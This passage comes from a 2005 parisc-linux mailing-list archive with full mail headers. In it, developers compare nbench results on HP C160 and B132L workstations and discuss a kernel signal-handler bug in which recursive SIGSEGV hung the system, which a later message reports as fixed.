	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 07:00:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08476-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 07:00:33 -0600 (MDT)
Original-Received: from mail25.sea5.speakeasy.net (mail25.sea5.speakeasy.net
	[69.17.117.27])
	by free.linux.hp.com (Postfix) with ESMTP id 7255E7D709
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 07:00:33 -0600 (MDT)
Original-Received: (qmail 8151 invoked from network); 16 Aug 2005 13:00:32 -0000
Original-Received: from tx-67-77-78-240.dyn.sprint-hsd.net
	(mszick@morethan.org@[67.77.78.240])
	(envelope-sender <mszick@morethan.org>)
	by mail25.sea5.speakeasy.net (qmail-ldap-1.03) with RC4-MD5 encrypted
	SMTP
	for <parisc-linux@lists.parisc-linux.org>; 16 Aug 2005 13:00:31 -0000
User-Agent: KMail/1.7.2
In-Reply-To: <4301B090.9040405@excelcia.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LIZzY4JleSEkT76WZHQhaXN1IGRvbwAf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23076

On Tue August 16 2005 04:23, Kurt Fitzner wrote:
> In the interim until I can source an ISA/EISA fast ethernet card, I've
> been playing with my new C160.  I decided to benchmark it and compare it
> to my B132L.  To my surprise, when it came to integer operations, the
> B132L outperforms the C160!
> 
> I benchmarked using nbench, which is a Linux/Unix port of Byte
> magazine's ByteMark.  Full results from both machines are at the end of
> this post.
> 
> Both machines were benchmarked using identical binaries compiled with:
> -O3 -march=1.1 -mschedule=7300 -mfast-indirect-calls -mgas
> 
> Thinking that the scheduling and architecture might be slowing down the
> C160, I recompiled it with:
> -O3 -march=2.0 -mschedule=8000 -mfast-indirect-calls -mgas
> 
> When that produced even worse results, I tried -march=2.0 vs 1.1 and
> -mschedule=8000 vs 7300 seperately.  Each one alone slows down the
> benchmark and the effect is addititive.  It seems that in Linux, right
> now at least, compiling with -march=2.0 or -mschedule=8000 is a Bad Thing.
>
It would be interesting to see if this also holds with a newer GCC.
(3.4, 4.0, 4.1)

> 
> If you look at the individual results, in most areas the C160 performs
> about 20% better than the B132.  It's just that in a few areas, the C160
> has absolutely dismal performance.  Numeric sorting and the assignment
> algorithm were both notably slower on the C160.
> 
> With a clock speed 20% faster, I must admit that the C160's poor showing
> was a dissappointment.  I'm wondering if this is because there isn't a
> 64-bit userland yet.  Is stepping down to 32-bit on the C160 hurting its
> performance that badly?
> 
Try the same version kernel on both machines - you might just be seeing
the difference between 2.6.8 and 2.6.10. (or 32bit and 64bit kernels).

Also, what compiler was used to build the kernel.

Mike
> I suppose (assuming I'm correct about the reason for the performance
> drop) my options are to wait for 64-bit userland or to put HPUX on it.
> 
> Is there any way which someone can help the 64-bit userland effort who
> is quite strong in system-level programming in general though weak in
> Linux kernel programming specifically?  Is there a project web site for
> this effort?
> 
> 	Kurt
> 
> 
> Phong (C160):
> ------------------------------------------------------------------
> TEST                : Iterations/sec.  : Old Index   : New Index
>                     :                  : Pentium 90* : AMD K6/233*
> --------------------:------------------:-------------:------------
> NUMERIC SORT        :           37.51  :       0.96  :       0.32
> STRING SORT         :          5.0486  :       2.26  :       0.35
> BITFIELD            :      1.6052e+07  :       2.75  :       0.58
> FP EMULATION        :          8.4215  :       4.04  :       0.93
> FOURIER             :          1102.1  :       1.25  :       0.70
> ASSIGNMENT          :         0.59547  :       2.27  :       0.59
> IDEA                :          115.34  :       1.76  :       0.52
> HUFFMAN             :          89.382  :       2.48  :       0.79
> NEURAL NET          :          1.6905  :       2.72  :       1.14
> LU DECOMPOSITION    :          41.254  :       2.14  :       1.54
> =======================ORIGINAL BYTEMARK RESULTS=======================
> INTEGER INDEX       : 2.187
> FLOATING-POINT INDEX: 1.938
> Baseline: MSDOS P90, 256 KB L2-cache, Watcom* compiler 10.0
> ===========================LINUX DATA BELOW============================
> CPU                 : Raven U 160 (9000/780/C160) 160MHz
> L2 Cache            : 512 KB (WB, 0-way associative)
> OS                  : Linux 2.6.10-pa11-phong-3
> C compiler          : gcc version 3.3.5 (Debian 1:3.3.5-13)
> libc                : ld-2.3.2.so
> MEMORY INDEX        : 0.491
> INTEGER INDEX       : 0.591
> FLOATING-POINT INDEX: 1.075
> Baseline: Linux AMD K6/233*, 512 KB L2-cache, gcc 2.7.2.3, libc-5.4.38
> =======================================================================
> 
> 
> Megabyte (B132L):
> ------------------------------------------------------------------
> TEST                : Iterations/sec.  : Old Index   : New Index
>                     :                  : Pentium 90* : AMD K6/233*
> --------------------:------------------:-------------:------------
> NUMERIC SORT        :          60.695  :       1.56  :       0.51
> STRING SORT         :          3.3905  :       1.51  :       0.23
> BITFIELD            :      1.1081e+07  :       1.90  :       0.40
> FP EMULATION        :          6.0832  :       2.92  :       0.67
> FOURIER             :          876.58  :       1.00  :       0.56
> ASSIGNMENT          :         0.80283  :       3.05  :       0.79
> IDEA                :          150.04  :       2.29  :       0.68
> HUFFMAN             :          76.017  :       2.11  :       0.67
> NEURAL NET          :          1.1334  :       1.82  :       0.77
> LU DECOMPOSITION    :          41.733  :       2.16  :       1.56
> =======================ORIGINAL BYTEMARK RESULTS=======================
> INTEGER INDEX       : 2.121
> FLOATING-POINT INDEX: 1.577
> Baseline: MSDOS P90, 256 KB L2-cache, Watcom* compiler 10.0
> ===========================LINUX DATA BELOW============================
> CPU                 : Merlin L2 132 (9000/778/B132L) 132MHz
> Cache               : 64 KB (WB, 0-way associative)
> OS                  : Linux 2.6.8.1-pa11-megabyte-20050720
> C compiler          : gcc version 3.3.5 (Debian 1:3.3.5-13)
> libc                : ld-2.3.2.so
> MEMORY INDEX        : 0.419
> INTEGER INDEX       : 0.630
> FLOATING-POINT INDEX: 0.875
> Baseline: Linux AMD K6/233*, 512 KB L2-cache, gcc 2.7.2.3, libc-5.4.38
> =======================================================================
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Tue, 16 Aug 2005 09:39:51 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200508161339.j7GDdqw9024211@hiauly1.hia.nrc.ca>
References: <4301BB90.5060907@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623898 16417 80.91.229.3 (22 Nov 2014 02:38:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:18 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org,
 tsg45800@scarlet.be
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 13:40:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 16 Aug 2005 15:40:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF6937D69D;
	Tue, 16 Aug 2005 07:40:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08957-06; Tue, 16 Aug 2005 07:40:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 24F1C7D6A1;
	Tue, 16 Aug 2005 07:40:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B8D67D692
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 07:40:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08922-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 07:40:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 85A297D637
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 07:40:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7GDdrnV024212; Tue, 16 Aug 2005 09:39:53 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7GDdqw9024211;
	Tue, 16 Aug 2005 09:39:52 -0400 (EDT)
In-Reply-To: <4301BB90.5060907@tausq.org> from "Randolph Chung" at Aug 16,
	2005 06:10:24 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7YlzYwEWeSEkeb6WZHQhaXN1IGRvb0Ar
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23077

> I'm not sure what's the "correct" behavior in this case. I recall now
> that we saw a similar problem with expect where the signal handler was
> recursing.
> 
> Is the kernel responsible for blocking SIGSEGV handlers that generate
> SIGSEGV?

See http://www.opengroup.org/onlinepubs/009695399/functions/signal.html.

This is implementation defined.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Tue, 16 Aug 2005 22:34:33 +0800
Lines: 13
Approved: news@gmane.org
Message-ID: <4301F979.2050709@tausq.org>
References: <200508161339.j7GDdqw9024211@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623898 16418 80.91.229.3 (22 Nov 2014 02:38:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:18 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org,
 tsg45800@scarlet.be
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 14:34:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 16 Aug 2005 16:34:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BB397D71B;
	Tue, 16 Aug 2005 08:34:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09524-04; Tue, 16 Aug 2005 08:34:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C77F67D71C;
	Tue, 16 Aug 2005 08:34:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DEF017D717
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 08:34:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09372-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 08:34:21 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 2B8DA7D6DF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 08:34:21 -0600 (MDT)
Original-Received: from 43.203.17.210.dyn.pacific.net.hk ([210.17.203.43]
	helo=[192.168.1.101])
	by stl.com.hk with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1E52Qy-00017v-Bq; Tue, 16 Aug 2005 22:28:56 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
In-Reply-To: <200508161339.j7GDdqw9024211@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IZxzY75WeSEkM76WZHQhaXN1IGRvb0Dc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23078

> See http://www.opengroup.org/onlinepubs/009695399/functions/signal.html.
> 
> This is implementation defined.

I remember reading that, but does that mean hanging the system is ok? :-)

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Tue, 16 Aug 2005 10:06:50 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <200508161006.50880.mszick@morethan.org>
References: <200508161339.j7GDdqw9024211@hiauly1.hia.nrc.ca>
	<4301F979.2050709@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623898 16419 80.91.229.3 (22 Nov 2014 02:38:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 15:07:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 16 Aug 2005 17:07:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E51517D71F;
	Tue, 16 Aug 2005 09:06:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09895-05; Tue, 16 Aug 2005 09:06:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C2CF7D721;
	Tue, 16 Aug 2005 09:06:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9CCDE7D71C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 09:06:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09802-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 09:06:54 -0600 (MDT)
Original-Received: from mail27.sea5.speakeasy.net (mail27.sea5.speakeasy.net
	[69.17.117.29])
	by free.linux.hp.com (Postfix) with ESMTP id E6CA07D71B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 09:06:53 -0600 (MDT)
Original-Received: (qmail 10392 invoked from network); 16 Aug 2005 15:06:52 -0000
Original-Received: from tx-67-77-78-240.dyn.sprint-hsd.net
	(mszick@morethan.org@[67.77.78.240])
	(envelope-sender <mszick@morethan.org>)
	by mail27.sea5.speakeasy.net (qmail-ldap-1.03) with RC4-MD5 encrypted
	SMTP
	for <parisc-linux@lists.parisc-linux.org>; 16 Aug 2005 15:06:52 -0000
User-Agent: KMail/1.7.2
In-Reply-To: <4301F979.2050709@tausq.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T2RwYx9ueSEkab6WZHQhaXN1IGRvbwDO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23079

On Tue August 16 2005 09:34, Randolph Chung wrote:
> > See http://www.opengroup.org/onlinepubs/009695399/functions/signal.html.
> > 
> > This is implementation defined.
> 
> I remember reading that, but does that mean hanging the system is ok? :-)
> 
The answer seems spread across several paragraphs...

If you get a signal while handling a signal, you can do a SIGDFL OR
block handling the new signal until the original signal is handled.
That applies to SIGSEGV also.

The paragraph listing SIGSEGV as a special case is preceded by:
"If and when the function returns..."

So, by my reading, if the SIGSEGV handler never returned -
then looping in the SIGSEGV handler could not happen.

Translation: Seems to be a design choice, if hanging the system
is considered to be the meaning of: "behavior is undefined"
which is reached if the SIGSEGV handler does return.

Mike
> randolph
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Wed, 17 Aug 2005 07:57:39 +0800
Lines: 18
Approved: news@gmane.org
Message-ID: <43027D73.80906@tausq.org>
References: <200508161339.j7GDdqw9024211@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623899 16421 80.91.229.3 (22 Nov 2014 02:38:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:19 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org,
 tsg45800@scarlet.be
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 23:57:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 17 Aug 2005 01:57:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 291B17D70F;
	Tue, 16 Aug 2005 17:57:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11795-08; Tue, 16 Aug 2005 17:57:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A6697D717;
	Tue, 16 Aug 2005 17:57:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17B3E7D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 17:57:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11779-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 17:57:21 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 574B37D709
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 17:57:21 -0600 (MDT)
Original-Received: from 43.203.17.210.dyn.pacific.net.hk ([210.17.203.43]
	helo=[192.168.1.101])
	by stl.com.hk with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1E5BDl-0003DG-Le; Wed, 17 Aug 2005 07:51:53 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
In-Reply-To: <200508161339.j7GDdqw9024211@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IxhwY1oieSEkdr6WZHQhaXN1IGRvb4CC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23080

>>Is the kernel responsible for blocking SIGSEGV handlers that generate
>>SIGSEGV?
> 
> See http://www.opengroup.org/onlinepubs/009695399/functions/signal.html.
> 
> This is implementation defined.

James spotted where we were not doing the right thing when setting up a 
signal handler frame. I've checked in his suggested fix to 
2.6.13-rc6-pa2. I think it should solve the problem.

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
